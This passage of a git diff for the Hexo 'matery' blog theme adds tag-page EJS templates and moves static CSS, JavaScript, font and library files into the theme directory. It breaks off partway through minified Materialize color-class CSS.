    + +<% if (theme.mathjax.enable && page.mathjax) { %> + + +<% } %> \ No newline at end of file diff --git a/themes/hexo-theme-matery/layout/tag.ejs b/themes/hexo-theme-matery/layout/tag.ejs new file mode 100644 index 0000000..eefb280 --- /dev/null +++ b/themes/hexo-theme-matery/layout/tag.ejs @@ -0,0 +1,83 @@ +<%- partial('_partial/bg-cover') %> + +
    + + <%- partial('_widget/tag-cloud') %> + + <% + var hashCode = function (str) { + if (!str && str.length === 0) { + return 0; + } + + var hash = 0; + for (var i = 0, len = str.length; i < len; i++) { + hash = ((hash << 5) - hash) + str.charCodeAt(i); + hash |= 0; + } + return hash; + }; + %> + +
    +
    + <% page.posts.sort('date').reverse().forEach(post => { %> + <% + var tagArr = []; + if (post.tags && post.tags.length > 0) { + post.tags.forEach(tag => { + tagArr.push(tag.name); + }); + } + var tags = tagArr.join(', '); + %> +
    +
    + +
    + <% if (post.img) { %> + <%- post.title %> + <% } else { %> + <% + var len = theme.featureImages.length; + var num = Math.abs(hashCode(post.title) % len); + var featureimg = theme.featureImages[num]; + %> + <%- post.title %> + <% } %> + <%- post.title %> +
    +
    +
    +
    + + <%= date(post.date, config.date_format) %> + + + <% if (post.categories && post.categories.length > 0) { %> + + <% post.categories.forEach(category => { %> + + <% }); %> + <% } else if (post.author && post.author.length > 0) { %> + + <%- post.author %> + <% } else { %> + + <%- config.author %> + <% } %> + +
    +
    +
    +
    + <% }); %> +
    +
    +
    + +<% if (page.total > 1) { %> +<%- partial('_partial/paging') %> +<% } %> \ No newline at end of file diff --git a/themes/hexo-theme-matery/layout/tags.ejs b/themes/hexo-theme-matery/layout/tags.ejs new file mode 100644 index 0000000..3b3c00f --- /dev/null +++ b/themes/hexo-theme-matery/layout/tags.ejs @@ -0,0 +1,11 @@ +<%- partial('_partial/bg-cover') %> + +
    + + <%- partial('_widget/tag-cloud') %> + + <% if (site.tags && site.tags.length > 0) { %> + <%- partial('_widget/tag-wordcloud') %> + <% } %> + +
    diff --git a/css/gitment.css b/themes/hexo-theme-matery/source/css/gitment.css similarity index 100% rename from css/gitment.css rename to themes/hexo-theme-matery/source/css/gitment.css diff --git a/css/matery.css b/themes/hexo-theme-matery/source/css/matery.css similarity index 100% rename from css/matery.css rename to themes/hexo-theme-matery/source/css/matery.css diff --git a/css/my-gitalk.css b/themes/hexo-theme-matery/source/css/my-gitalk.css similarity index 100% rename from css/my-gitalk.css rename to themes/hexo-theme-matery/source/css/my-gitalk.css diff --git a/css/my.css b/themes/hexo-theme-matery/source/css/my.css similarity index 100% rename from css/my.css rename to themes/hexo-theme-matery/source/css/my.css diff --git a/favicon.png b/themes/hexo-theme-matery/source/favicon.png similarity index 100% rename from favicon.png rename to themes/hexo-theme-matery/source/favicon.png diff --git a/js/matery.js b/themes/hexo-theme-matery/source/js/matery.js similarity index 100% rename from js/matery.js rename to themes/hexo-theme-matery/source/js/matery.js diff --git a/js/search.js b/themes/hexo-theme-matery/source/js/search.js similarity index 100% rename from js/search.js rename to themes/hexo-theme-matery/source/js/search.js diff --git a/libs/animate/animate.min.css b/themes/hexo-theme-matery/source/libs/animate/animate.min.css similarity index 100% rename from libs/animate/animate.min.css rename to themes/hexo-theme-matery/source/libs/animate/animate.min.css diff --git a/libs/aos/aos.css b/themes/hexo-theme-matery/source/libs/aos/aos.css similarity index 100% rename from libs/aos/aos.css rename to themes/hexo-theme-matery/source/libs/aos/aos.css diff --git a/libs/aos/aos.js b/themes/hexo-theme-matery/source/libs/aos/aos.js similarity index 100% rename from libs/aos/aos.js rename to themes/hexo-theme-matery/source/libs/aos/aos.js diff --git a/libs/aplayer/APlayer.min.css b/themes/hexo-theme-matery/source/libs/aplayer/APlayer.min.css similarity index 100% rename from libs/aplayer/APlayer.min.css rename to themes/hexo-theme-matery/source/libs/aplayer/APlayer.min.css diff --git a/libs/aplayer/APlayer.min.js b/themes/hexo-theme-matery/source/libs/aplayer/APlayer.min.js similarity index 100% rename from libs/aplayer/APlayer.min.js rename to themes/hexo-theme-matery/source/libs/aplayer/APlayer.min.js diff --git a/libs/awesome/css/font-awesome.min.css b/themes/hexo-theme-matery/source/libs/awesome/css/font-awesome.min.css similarity index 100% rename from libs/awesome/css/font-awesome.min.css rename to themes/hexo-theme-matery/source/libs/awesome/css/font-awesome.min.css diff --git a/libs/awesome/fonts/FontAwesome.otf b/themes/hexo-theme-matery/source/libs/awesome/fonts/FontAwesome.otf similarity index 100% rename from libs/awesome/fonts/FontAwesome.otf rename to themes/hexo-theme-matery/source/libs/awesome/fonts/FontAwesome.otf diff --git a/libs/awesome/fonts/fontawesome-webfont.eot b/themes/hexo-theme-matery/source/libs/awesome/fonts/fontawesome-webfont.eot similarity index 100% rename from libs/awesome/fonts/fontawesome-webfont.eot rename to themes/hexo-theme-matery/source/libs/awesome/fonts/fontawesome-webfont.eot diff --git a/libs/awesome/fonts/fontawesome-webfont.svg b/themes/hexo-theme-matery/source/libs/awesome/fonts/fontawesome-webfont.svg similarity index 100% rename from libs/awesome/fonts/fontawesome-webfont.svg rename to themes/hexo-theme-matery/source/libs/awesome/fonts/fontawesome-webfont.svg diff --git a/libs/awesome/fonts/fontawesome-webfont.ttf b/themes/hexo-theme-matery/source/libs/awesome/fonts/fontawesome-webfont.ttf similarity index 100% rename from libs/awesome/fonts/fontawesome-webfont.ttf rename to themes/hexo-theme-matery/source/libs/awesome/fonts/fontawesome-webfont.ttf diff --git a/libs/awesome/fonts/fontawesome-webfont.woff b/themes/hexo-theme-matery/source/libs/awesome/fonts/fontawesome-webfont.woff similarity index 100% rename from libs/awesome/fonts/fontawesome-webfont.woff rename to themes/hexo-theme-matery/source/libs/awesome/fonts/fontawesome-webfont.woff diff --git a/libs/awesome/fonts/fontawesome-webfont.woff2 b/themes/hexo-theme-matery/source/libs/awesome/fonts/fontawesome-webfont.woff2 similarity index 100% rename from libs/awesome/fonts/fontawesome-webfont.woff2 rename to themes/hexo-theme-matery/source/libs/awesome/fonts/fontawesome-webfont.woff2 diff --git a/libs/cryptojs/crypto-js.min.js b/themes/hexo-theme-matery/source/libs/cryptojs/crypto-js.min.js similarity index 100% rename from libs/cryptojs/crypto-js.min.js rename to themes/hexo-theme-matery/source/libs/cryptojs/crypto-js.min.js diff --git a/libs/dplayer/DPlayer.min.css b/themes/hexo-theme-matery/source/libs/dplayer/DPlayer.min.css similarity index 100% rename from libs/dplayer/DPlayer.min.css rename to themes/hexo-theme-matery/source/libs/dplayer/DPlayer.min.css diff --git a/libs/dplayer/DPlayer.min.js b/themes/hexo-theme-matery/source/libs/dplayer/DPlayer.min.js similarity index 100% rename from libs/dplayer/DPlayer.min.js rename to themes/hexo-theme-matery/source/libs/dplayer/DPlayer.min.js diff --git a/libs/echarts/echarts.min.js b/themes/hexo-theme-matery/source/libs/echarts/echarts.min.js similarity index 100% rename from libs/echarts/echarts.min.js rename to themes/hexo-theme-matery/source/libs/echarts/echarts.min.js diff --git a/libs/gitalk/gitalk.css b/themes/hexo-theme-matery/source/libs/gitalk/gitalk.css similarity index 100% rename from libs/gitalk/gitalk.css rename to themes/hexo-theme-matery/source/libs/gitalk/gitalk.css diff --git a/libs/gitalk/gitalk.min.js b/themes/hexo-theme-matery/source/libs/gitalk/gitalk.min.js similarity index 100% rename from libs/gitalk/gitalk.min.js rename to themes/hexo-theme-matery/source/libs/gitalk/gitalk.min.js diff --git a/libs/gitment/gitment-default.css b/themes/hexo-theme-matery/source/libs/gitment/gitment-default.css similarity index 100% rename from libs/gitment/gitment-default.css rename to themes/hexo-theme-matery/source/libs/gitment/gitment-default.css diff --git a/libs/gitment/gitment.js b/themes/hexo-theme-matery/source/libs/gitment/gitment.js similarity index 100% rename from libs/gitment/gitment.js rename to themes/hexo-theme-matery/source/libs/gitment/gitment.js diff --git a/libs/jqcloud/jqcloud-1.0.4.min.js b/themes/hexo-theme-matery/source/libs/jqcloud/jqcloud-1.0.4.min.js similarity index 100% rename from libs/jqcloud/jqcloud-1.0.4.min.js rename to themes/hexo-theme-matery/source/libs/jqcloud/jqcloud-1.0.4.min.js diff --git a/libs/jqcloud/jqcloud.css b/themes/hexo-theme-matery/source/libs/jqcloud/jqcloud.css similarity index 100% rename from libs/jqcloud/jqcloud.css rename to themes/hexo-theme-matery/source/libs/jqcloud/jqcloud.css diff --git a/libs/jquery/jquery-2.2.0.min.js b/themes/hexo-theme-matery/source/libs/jquery/jquery-2.2.0.min.js similarity index 100% rename from libs/jquery/jquery-2.2.0.min.js rename to themes/hexo-theme-matery/source/libs/jquery/jquery-2.2.0.min.js diff --git a/libs/lightGallery/css/lightgallery.min.css b/themes/hexo-theme-matery/source/libs/lightGallery/css/lightgallery.min.css similarity index 100% rename from libs/lightGallery/css/lightgallery.min.css rename to themes/hexo-theme-matery/source/libs/lightGallery/css/lightgallery.min.css diff --git a/libs/lightGallery/fonts/lg.eot b/themes/hexo-theme-matery/source/libs/lightGallery/fonts/lg.eot similarity index 100% rename from libs/lightGallery/fonts/lg.eot rename to themes/hexo-theme-matery/source/libs/lightGallery/fonts/lg.eot diff --git a/libs/lightGallery/fonts/lg.svg b/themes/hexo-theme-matery/source/libs/lightGallery/fonts/lg.svg similarity index 100% rename from libs/lightGallery/fonts/lg.svg rename to themes/hexo-theme-matery/source/libs/lightGallery/fonts/lg.svg diff --git a/libs/lightGallery/fonts/lg.ttf b/themes/hexo-theme-matery/source/libs/lightGallery/fonts/lg.ttf similarity index 100% rename from libs/lightGallery/fonts/lg.ttf rename to themes/hexo-theme-matery/source/libs/lightGallery/fonts/lg.ttf diff --git a/libs/lightGallery/fonts/lg.woff b/themes/hexo-theme-matery/source/libs/lightGallery/fonts/lg.woff similarity index 100% rename from libs/lightGallery/fonts/lg.woff rename to themes/hexo-theme-matery/source/libs/lightGallery/fonts/lg.woff diff --git a/libs/lightGallery/img/loading.gif b/themes/hexo-theme-matery/source/libs/lightGallery/img/loading.gif similarity index 100% rename from libs/lightGallery/img/loading.gif rename to themes/hexo-theme-matery/source/libs/lightGallery/img/loading.gif diff --git a/libs/lightGallery/img/video-play.png b/themes/hexo-theme-matery/source/libs/lightGallery/img/video-play.png similarity index 100% rename from libs/lightGallery/img/video-play.png rename to themes/hexo-theme-matery/source/libs/lightGallery/img/video-play.png diff --git a/libs/lightGallery/img/vimeo-play.png b/themes/hexo-theme-matery/source/libs/lightGallery/img/vimeo-play.png similarity index 100% rename from libs/lightGallery/img/vimeo-play.png rename to themes/hexo-theme-matery/source/libs/lightGallery/img/vimeo-play.png diff --git a/libs/lightGallery/img/youtube-play.png b/themes/hexo-theme-matery/source/libs/lightGallery/img/youtube-play.png similarity index 100% rename from libs/lightGallery/img/youtube-play.png rename to themes/hexo-theme-matery/source/libs/lightGallery/img/youtube-play.png diff --git a/libs/lightGallery/js/lightgallery-all.min.js b/themes/hexo-theme-matery/source/libs/lightGallery/js/lightgallery-all.min.js similarity index 100% rename from libs/lightGallery/js/lightgallery-all.min.js rename to themes/hexo-theme-matery/source/libs/lightGallery/js/lightgallery-all.min.js diff --git a/libs/masonry/masonry.pkgd.min.js b/themes/hexo-theme-matery/source/libs/masonry/masonry.pkgd.min.js similarity index 100% rename from libs/masonry/masonry.pkgd.min.js rename to themes/hexo-theme-matery/source/libs/masonry/masonry.pkgd.min.js diff --git a/libs/materialize/materialize.min.css b/themes/hexo-theme-matery/source/libs/materialize/materialize.min.css similarity index 99% rename from libs/materialize/materialize.min.css rename to themes/hexo-theme-matery/source/libs/materialize/materialize.min.css index b1a5929..74b1741 100644 --- a/libs/materialize/materialize.min.css +++ b/themes/hexo-theme-matery/source/libs/materialize/materialize.min.css @@ -1,13 +1,13 @@ -/*! - * Materialize v1.0.0 (http://materializecss.com) - * Copyright 2014-2017 Materialize - * MIT License (https://raw.githubusercontent.com/Dogfalo/materialize/master/LICENSE) - */ -.materialize-red{background-color:#e51c23 !important}.materialize-red-text{color:#e51c23 !important}.materialize-red.lighten-5{background-color:#fdeaeb !important}.materialize-red-text.text-lighten-5{color:#fdeaeb !important}.materialize-red.lighten-4{background-color:#f8c1c3 !important}.materialize-red-text.text-lighten-4{color:#f8c1c3 !important}.materialize-red.lighten-3{background-color:#f3989b !important}.materialize-red-text.text-lighten-3{color:#f3989b !important}.materialize-red.lighten-2{background-color:#ee6e73 !important}.materialize-red-text.text-lighten-2{color:#ee6e73 !important}.materialize-red.lighten-1{background-color:#ea454b !important}.materialize-red-text.text-lighten-1{color:#ea454b !important}.materialize-red.darken-1{background-color:#d0181e !important}.materialize-red-text.text-darken-1{color:#d0181e !important}.materialize-red.darken-2{background-color:#b9151b !important}.materialize-red-text.text-darken-2{color:#b9151b !important}.materialize-red.darken-3{background-color:#a21318 !important}.materialize-red-text.text-darken-3{color:#a21318 !important}.materialize-red.darken-4{background-color:#8b1014 !important}.materialize-red-text.text-darken-4{color:#8b1014 !important}.red{background-color:#F44336 !important}.red-text{color:#F44336 !important}.red.lighten-5{background-color:#FFEBEE !important}.red-text.text-lighten-5{color:#FFEBEE !important}.red.lighten-4{background-color:#FFCDD2 !important}.red-text.text-lighten-4{color:#FFCDD2 !important}.red.lighten-3{background-color:#EF9A9A !important}.red-text.text-lighten-3{color:#EF9A9A !important}.red.lighten-2{background-color:#E57373 !important}.red-text.text-lighten-2{color:#E57373 !important}.red.lighten-1{background-color:#EF5350 !important}.red-text.text-lighten-1{color:#EF5350 !important}.red.darken-1{background-color:#E53935 !important}.red-text.text-darken-1{color:#E53935 !important}.red.darken-2{background-color:#D32F2F !important}.red-text.text-darken-2{color:#D32F2F !important}.red.darken-3{background-color:#C62828 !important}.red-text.text-darken-3{color:#C62828 !important}.red.darken-4{background-color:#B71C1C !important}.red-text.text-darken-4{color:#B71C1C !important}.red.accent-1{background-color:#FF8A80 !important}.red-text.text-accent-1{color:#FF8A80 !important}.red.accent-2{background-color:#FF5252 !important}.red-text.text-accent-2{color:#FF5252 !important}.red.accent-3{background-color:#FF1744 !important}.red-text.text-accent-3{color:#FF1744 !important}.red.accent-4{background-color:#D50000 !important}.red-text.text-accent-4{color:#D50000 !important}.pink{background-color:#e91e63 !important}.pink-text{color:#e91e63 !important}.pink.lighten-5{background-color:#fce4ec !important}.pink-text.text-lighten-5{color:#fce4ec !important}.pink.lighten-4{background-color:#f8bbd0 !important}.pink-text.text-lighten-4{color:#f8bbd0 !important}.pink.lighten-3{background-color:#f48fb1 !important}.pink-text.text-lighten-3{color:#f48fb1 !important}.pink.lighten-2{background-color:#f06292 !important}.pink-text.text-lighten-2{color:#f06292 !important}.pink.lighten-1{background-color:#ec407a !important}.pink-text.text-lighten-1{color:#ec407a !important}.pink.darken-1{background-color:#d81b60 !important}.pink-text.text-darken-1{color:#d81b60 !important}.pink.darken-2{background-color:#c2185b !important}.pink-text.text-darken-2{color:#c2185b !important}.pink.darken-3{background-color:#ad1457 !important}.pink-text.text-darken-3{color:#ad1457 !important}.pink.darken-4{background-color:#880e4f !important}.pink-text.text-darken-4{color:#880e4f !important}.pink.accent-1{background-color:#ff80ab !important}.pink-text.text-accent-1{color:#ff80ab !important}.pink.accent-2{background-color:#ff4081 !important}.pink-text.text-accent-2{color:#ff4081 !important}.pink.accent-3{background-color:#f50057 !important}.pink-text.text-accent-3{color:#f50057 !important}.pink.accent-4{background-color:#c51162 !important}.pink-text.text-accent-4{color:#c51162 !important}.purple{background-color:#9c27b0 !important}.purple-text{color:#9c27b0 !important}.purple.lighten-5{background-color:#f3e5f5 !important}.purple-text.text-lighten-5{color:#f3e5f5 !important}.purple.lighten-4{background-color:#e1bee7 !important}.purple-text.text-lighten-4{color:#e1bee7 !important}.purple.lighten-3{background-color:#ce93d8 !important}.purple-text.text-lighten-3{color:#ce93d8 !important}.purple.lighten-2{background-color:#ba68c8 !important}.purple-text.text-lighten-2{color:#ba68c8 !important}.purple.lighten-1{background-color:#ab47bc !important}.purple-text.text-lighten-1{color:#ab47bc !important}.purple.darken-1{background-color:#8e24aa !important}.purple-text.text-darken-1{color:#8e24aa !important}.purple.darken-2{background-color:#7b1fa2 !important}.purple-text.text-darken-2{color:#7b1fa2 !important}.purple.darken-3{background-color:#6a1b9a !important}.purple-text.text-darken-3{color:#6a1b9a !important}.purple.darken-4{background-color:#4a148c !important}.purple-text.text-darken-4{color:#4a148c !important}.purple.accent-1{background-color:#ea80fc !important}.purple-text.text-accent-1{color:#ea80fc !important}.purple.accent-2{background-color:#e040fb !important}.purple-text.text-accent-2{color:#e040fb !important}.purple.accent-3{background-color:#d500f9 !important}.purple-text.text-accent-3{color:#d500f9 !important}.purple.accent-4{background-color:#a0f !important}.purple-text.text-accent-4{color:#a0f !important}.deep-purple{background-color:#673ab7 !important}.deep-purple-text{color:#673ab7 !important}.deep-purple.lighten-5{background-color:#ede7f6 !important}.deep-purple-text.text-lighten-5{color:#ede7f6 !important}.deep-purple.lighten-4{background-color:#d1c4e9 !important}.deep-purple-text.text-lighten-4{color:#d1c4e9 !important}.deep-purple.lighten-3{background-color:#b39ddb !important}.deep-purple-text.text-lighten-3{color:#b39ddb !important}.deep-purple.lighten-2{background-color:#9575cd !important}.deep-purple-text.text-lighten-2{color:#9575cd !important}.deep-purple.lighten-1{background-color:#7e57c2 !important}.deep-purple-text.text-lighten-1{color:#7e57c2 !important}.deep-purple.darken-1{background-color:#5e35b1 !important}.deep-purple-text.text-darken-1{color:#5e35b1 !important}.deep-purple.darken-2{background-color:#512da8 !important}.deep-purple-text.text-darken-2{color:#512da8 !important}.deep-purple.darken-3{background-color:#4527a0 !important}.deep-purple-text.text-darken-3{color:#4527a0 !important}.deep-purple.darken-4{background-color:#311b92 !important}.deep-purple-text.text-darken-4{color:#311b92 !important}.deep-purple.accent-1{background-color:#b388ff !important}.deep-purple-text.text-accent-1{color:#b388ff !important}.deep-purple.accent-2{background-color:#7c4dff !important}.deep-purple-text.text-accent-2{color:#7c4dff !important}.deep-purple.accent-3{background-color:#651fff !important}.deep-purple-text.text-accent-3{color:#651fff !important}.deep-purple.accent-4{background-color:#6200ea !important}.deep-purple-text.text-accent-4{color:#6200ea !important}.indigo{background-color:#3f51b5 !important}.indigo-text{color:#3f51b5 !important}.indigo.lighten-5{background-color:#e8eaf6 !important}.indigo-text.text-lighten-5{color:#e8eaf6 !important}.indigo.lighten-4{background-color:#c5cae9 !important}.indigo-text.text-lighten-4{color:#c5cae9 !important}.indigo.lighten-3{background-color:#9fa8da !important}.indigo-text.text-lighten-3{color:#9fa8da !important}.indigo.lighten-2{background-color:#7986cb !important}.indigo-text.text-lighten-2{color:#7986cb !important}.indigo.lighten-1{background-color:#5c6bc0 !important}.indigo-text.text-lighten-1{color:#5c6bc0 !important}.indigo.darken-1{background-color:#3949ab !important}.indigo-text.text-darken-1{color:#3949ab !important}.indigo.darken-2{background-color:#303f9f !important}.indigo-text.text-darken-2{color:#303f9f !important}.indigo.darken-3{background-color:#283593 !important}.indigo-text.text-darken-3{color:#283593 !important}.indigo.darken-4{background-color:#1a237e !important}.indigo-text.text-darken-4{color:#1a237e !important}.indigo.accent-1{background-color:#8c9eff !important}.indigo-text.text-accent-1{color:#8c9eff !important}.indigo.accent-2{background-color:#536dfe !important}.indigo-text.text-accent-2{color:#536dfe !important}.indigo.accent-3{background-color:#3d5afe !important}.indigo-text.text-accent-3{color:#3d5afe !important}.indigo.accent-4{background-color:#304ffe !important}.indigo-text.text-accent-4{color:#304ffe !important}.blue{background-color:#2196F3 !important}.blue-text{color:#2196F3 !important}.blue.lighten-5{background-color:#E3F2FD !important}.blue-text.text-lighten-5{color:#E3F2FD !important}.blue.lighten-4{background-color:#BBDEFB !important}.blue-text.text-lighten-4{color:#BBDEFB !important}.blue.lighten-3{background-color:#90CAF9 !important}.blue-text.text-lighten-3{color:#90CAF9 !important}.blue.lighten-2{background-color:#64B5F6 !important}.blue-text.text-lighten-2{color:#64B5F6 !important}.blue.lighten-1{background-color:#42A5F5 !important}.blue-text.text-lighten-1{color:#42A5F5 !important}.blue.darken-1{background-color:#1E88E5 !important}.blue-text.text-darken-1{color:#1E88E5 !important}.blue.darken-2{background-color:#1976D2 !important}.blue-text.text-darken-2{color:#1976D2 !important}.blue.darken-3{background-color:#1565C0 !important}.blue-text.text-darken-3{color:#1565C0 !important}.blue.darken-4{background-color:#0D47A1 !important}.blue-text.text-darken-4{color:#0D47A1 !important}.blue.accent-1{background-color:#82B1FF !important}.blue-text.text-accent-1{color:#82B1FF !important}.blue.accent-2{background-color:#448AFF !important}.blue-text.text-accent-2{color:#448AFF !important}.blue.accent-3{background-color:#2979FF !important}.blue-text.text-accent-3{color:#2979FF !important}.blue.accent-4{background-color:#2962FF !important}.blue-text.text-accent-4{color:#2962FF !important}.light-blue{background-color:#03a9f4 !important}.light-blue-text{color:#03a9f4 !important}.light-blue.lighten-5{background-color:#e1f5fe !important}.light-blue-text.text-lighten-5{color:#e1f5fe !important}.light-blue.lighten-4{background-color:#b3e5fc !important}.light-blue-text.text-lighten-4{color:#b3e5fc !important}.light-blue.lighten-3{background-color:#81d4fa !important}.light-blue-text.text-lighten-3{color:#81d4fa !important}.light-blue.lighten-2{background-color:#4fc3f7 !important}.light-blue-text.text-lighten-2{color:#4fc3f7 !important}.light-blue.lighten-1{background-color:#29b6f6 !important}.light-blue-text.text-lighten-1{color:#29b6f6 !important}.light-blue.darken-1{background-color:#039be5 !important}.light-blue-text.text-darken-1{color:#039be5 !important}.light-blue.darken-2{background-color:#0288d1 !important}.light-blue-text.text-darken-2{color:#0288d1 !important}.light-blue.darken-3{background-color:#0277bd !important}.light-blue-text.text-darken-3{color:#0277bd !important}.light-blue.darken-4{background-color:#01579b !important}.light-blue-text.text-darken-4{color:#01579b !important}.light-blue.accent-1{background-color:#80d8ff !important}.light-blue-text.text-accent-1{color:#80d8ff !important}.light-blue.accent-2{background-color:#40c4ff !important}.light-blue-text.text-accent-2{color:#40c4ff !important}.light-blue.accent-3{background-color:#00b0ff !important}.light-blue-text.text-accent-3{color:#00b0ff !important}.light-blue.accent-4{background-color:#0091ea !important}.light-blue-text.text-accent-4{color:#0091ea !important}.cyan{background-color:#00bcd4 !important}.cyan-text{color:#00bcd4 !important}.cyan.lighten-5{background-color:#e0f7fa !important}.cyan-text.text-lighten-5{color:#e0f7fa !important}.cyan.lighten-4{background-color:#b2ebf2 !important}.cyan-text.text-lighten-4{color:#b2ebf2 !important}.cyan.lighten-3{background-color:#80deea !important}.cyan-text.text-lighten-3{color:#80deea !important}.cyan.lighten-2{background-color:#4dd0e1 !important}.cyan-text.text-lighten-2{color:#4dd0e1 !important}.cyan.lighten-1{background-color:#26c6da !important}.cyan-text.text-lighten-1{color:#26c6da !important}.cyan.darken-1{background-color:#00acc1 !important}.cyan-text.text-darken-1{color:#00acc1 !important}.cyan.darken-2{background-color:#0097a7 !important}.cyan-text.text-darken-2{color:#0097a7 !important}.cyan.darken-3{background-color:#00838f !important}.cyan-text.text-darken-3{color:#00838f !important}.cyan.darken-4{background-color:#006064 !important}.cyan-text.text-darken-4{color:#006064 !important}.cyan.accent-1{background-color:#84ffff !important}.cyan-text.text-accent-1{color:#84ffff !important}.cyan.accent-2{background-color:#18ffff !important}.cyan-text.text-accent-2{color:#18ffff !important}.cyan.accent-3{background-color:#00e5ff !important}.cyan-text.text-accent-3{color:#00e5ff !important}.cyan.accent-4{background-color:#00b8d4 !important}.cyan-text.text-accent-4{color:#00b8d4 !important}.teal{background-color:#009688 !important}.teal-text{color:#009688 !important}.teal.lighten-5{background-color:#e0f2f1 !important}.teal-text.text-lighten-5{color:#e0f2f1 !important}.teal.lighten-4{background-color:#b2dfdb !important}.teal-text.text-lighten-4{color:#b2dfdb !important}.teal.lighten-3{background-color:#80cbc4 !important}.teal-text.text-lighten-3{color:#80cbc4 !important}.teal.lighten-2{background-color:#4db6ac !important}.teal-text.text-lighten-2{color:#4db6ac !important}.teal.lighten-1{background-color:#26a69a !important}.teal-text.text-lighten-1{color:#26a69a !important}.teal.darken-1{background-color:#00897b !important}.teal-text.text-darken-1{color:#00897b !important}.teal.darken-2{background-color:#00796b !important}.teal-text.text-darken-2{color:#00796b !important}.teal.darken-3{background-color:#00695c !important}.teal-text.text-darken-3{color:#00695c !important}.teal.darken-4{background-color:#004d40 !important}.teal-text.text-darken-4{color:#004d40 !important}.teal.accent-1{background-color:#a7ffeb !important}.teal-text.text-accent-1{color:#a7ffeb !important}.teal.accent-2{background-color:#64ffda !important}.teal-text.text-accent-2{color:#64ffda !important}.teal.accent-3{background-color:#1de9b6 !important}.teal-text.text-accent-3{color:#1de9b6 !important}.teal.accent-4{background-color:#00bfa5 !important}.teal-text.text-accent-4{color:#00bfa5 !important}.green{background-color:#4CAF50 !important}.green-text{color:#4CAF50 !important}.green.lighten-5{background-color:#E8F5E9 !important}.green-text.text-lighten-5{color:#E8F5E9 !important}.green.lighten-4{background-color:#C8E6C9 !important}.green-text.text-lighten-4{color:#C8E6C9 !important}.green.lighten-3{background-color:#A5D6A7 !important}.green-text.text-lighten-3{color:#A5D6A7 !important}.green.lighten-2{background-color:#81C784 !important}.green-text.text-lighten-2{color:#81C784 !important}.green.lighten-1{background-color:#66BB6A !important}.green-text.text-lighten-1{color:#66BB6A !important}.green.darken-1{background-color:#43A047 !important}.green-text.text-darken-1{color:#43A047 !important}.green.darken-2{background-color:#388E3C !important}.green-text.text-darken-2{color:#388E3C !important}.green.darken-3{background-color:#2E7D32 !important}.green-text.text-darken-3{color:#2E7D32 !important}.green.darken-4{background-color:#1B5E20 !important}.green-text.text-darken-4{color:#1B5E20 !important}.green.accent-1{background-color:#B9F6CA !important}.green-text.text-accent-1{color:#B9F6CA !important}.green.accent-2{background-color:#69F0AE !important}.green-text.text-accent-2{color:#69F0AE !important}.green.accent-3{background-color:#00E676 !important}.green-text.text-accent-3{color:#00E676 !important}.green.accent-4{background-color:#00C853 !important}.green-text.text-accent-4{color:#00C853 !important}.light-green{background-color:#8bc34a !important}.light-green-text{color:#8bc34a !important}.light-green.lighten-5{background-color:#f1f8e9 !important}.light-green-text.text-lighten-5{color:#f1f8e9 !important}.light-green.lighten-4{background-color:#dcedc8 !important}.light-green-text.text-lighten-4{color:#dcedc8 !important}.light-green.lighten-3{background-color:#c5e1a5 !important}.light-green-text.text-lighten-3{color:#c5e1a5 !important}.light-green.lighten-2{background-color:#aed581 !important}.light-green-text.text-lighten-2{color:#aed581 !important}.light-green.lighten-1{background-color:#9ccc65 !important}.light-green-text.text-lighten-1{color:#9ccc65 !important}.light-green.darken-1{background-color:#7cb342 !important}.light-green-text.text-darken-1{color:#7cb342 !important}.light-green.darken-2{background-color:#689f38 !important}.light-green-text.text-darken-2{color:#689f38 !important}.light-green.darken-3{background-color:#558b2f !important}.light-green-text.text-darken-3{color:#558b2f !important}.light-green.darken-4{background-color:#33691e !important}.light-green-text.text-darken-4{color:#33691e !important}.light-green.accent-1{background-color:#ccff90 !important}.light-green-text.text-accent-1{color:#ccff90 !important}.light-green.accent-2{background-color:#b2ff59 !important}.light-green-text.text-accent-2{color:#b2ff59 !important}.light-green.accent-3{background-color:#76ff03 !important}.light-green-text.text-accent-3{color:#76ff03 !important}.light-green.accent-4{background-color:#64dd17 !important}.light-green-text.text-accent-4{color:#64dd17 !important}.lime{background-color:#cddc39 !important}.lime-text{color:#cddc39 !important}.lime.lighten-5{background-color:#f9fbe7 !important}.lime-text.text-lighten-5{color:#f9fbe7 !important}.lime.lighten-4{background-color:#f0f4c3 !important}.lime-text.text-lighten-4{color:#f0f4c3 !important}.lime.lighten-3{background-color:#e6ee9c !important}.lime-text.text-lighten-3{color:#e6ee9c !important}.lime.lighten-2{background-color:#dce775 !important}.lime-text.text-lighten-2{color:#dce775 !important}.lime.lighten-1{background-color:#d4e157 !important}.lime-text.text-lighten-1{color:#d4e157 !important}.lime.darken-1{background-color:#c0ca33 !important}.lime-text.text-darken-1{color:#c0ca33 !important}.lime.darken-2{background-color:#afb42b !important}.lime-text.text-darken-2{color:#afb42b !important}.lime.darken-3{background-color:#9e9d24 !important}.lime-text.text-darken-3{color:#9e9d24 !important}.lime.darken-4{background-color:#827717 !important}.lime-text.text-darken-4{color:#827717 !important}.lime.accent-1{background-color:#f4ff81 !important}.lime-text.text-accent-1{color:#f4ff81 !important}.lime.accent-2{background-color:#eeff41 !important}.lime-text.text-accent-2{color:#eeff41 !important}.lime.accent-3{background-color:#c6ff00 !important}.lime-text.text-accent-3{color:#c6ff00 !important}.lime.accent-4{background-color:#aeea00 !important}.lime-text.text-accent-4{color:#aeea00 !important}.yellow{background-color:#ffeb3b !important}.yellow-text{color:#ffeb3b !important}.yellow.lighten-5{background-color:#fffde7 !important}.yellow-text.text-lighten-5{color:#fffde7 !important}.yellow.lighten-4{background-color:#fff9c4 !important}.yellow-text.text-lighten-4{color:#fff9c4 !important}.yellow.lighten-3{background-color:#fff59d !important}.yellow-text.text-lighten-3{color:#fff59d !important}.yellow.lighten-2{background-color:#fff176 !important}.yellow-text.text-lighten-2{color:#fff176 !important}.yellow.lighten-1{background-color:#ffee58 !important}.yellow-text.text-lighten-1{color:#ffee58 !important}.yellow.darken-1{background-color:#fdd835 !important}.yellow-text.text-darken-1{color:#fdd835 !important}.yellow.darken-2{background-color:#fbc02d !important}.yellow-text.text-darken-2{color:#fbc02d !important}.yellow.darken-3{background-color:#f9a825 !important}.yellow-text.text-darken-3{color:#f9a825 !important}.yellow.darken-4{background-color:#f57f17 !important}.yellow-text.text-darken-4{color:#f57f17 !important}.yellow.accent-1{background-color:#ffff8d !important}.yellow-text.text-accent-1{color:#ffff8d !important}.yellow.accent-2{background-color:#ff0 !important}.yellow-text.text-accent-2{color:#ff0 !important}.yellow.accent-3{background-color:#ffea00 !important}.yellow-text.text-accent-3{color:#ffea00 